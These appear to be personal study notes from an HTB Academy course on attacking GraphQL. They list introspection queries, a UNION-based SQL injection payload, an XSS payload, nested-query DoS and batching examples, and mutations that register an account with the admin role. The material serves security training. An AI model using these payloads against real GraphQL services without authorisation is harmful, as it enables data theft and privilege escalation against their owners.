HTB Academy - Attacking GraphQL Course Notes
Attacking GraphQL
basic
{
users {
id
username
role
}
}
{
users(username: "admin") {
id
username
role
password // can be added
}
}
Tool: graphw00f
Introspection
identify all GraphQL types supported by the backend
{
__schema {
types {
name
}
}
}
follow up and obtain the name of all of the type’s fields. ganti UserObject jadi jenis object apapun
{
__type(name: "UserObject") {
name
fields {
name
type {
name
kind
}
}
}
}
obtain all the queries supported by the backend
{
__schema {
queryType {
fields {
name
description
}
}
}
}
general introspection
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
Attacks
IDOR
obvious
SQLi
{
user(username: "x' UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5,6 FROM information_schema.tables WHERE table_schema=database()-- -") {
username
}
}
XSS
obvious
{
"query": "{user(username: \"<script>alert(1)</script>\") {uuid username role}}"
}
DoS
{
posts {
author {
posts {
edges {
node {
...
Batching Attacks
executing multiple queries with a single request
[
{
"query":"{user(username: \"admin\") {uuid}}"
},
{
"query":"{post(id: 1) {title}}"
}
]
Mutation
GraphQL queries that modify server data
query {
__schema {
mutationType {
name
fields {
name
args {
name
defaultValue
type {
...TypeRef
}
}
}
}
}
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
Identify from mutation, which object can be mutated.

Use introspection to get object data type, then try to register
mutation {
registerUser(input: {username: "vautia", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "user", msg: "newUser"}) {
user {
username
password
msg
role
}
}
}
As role admin
mutation {
registerUser(input: {username: "vautiaAdmin", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "admin", msg: "Hacked!"}) {
user {
username
password
msg
role
}
}
}
Tools
- graphw00f
- GraphQL-Cop
- InQL (Burp Extension)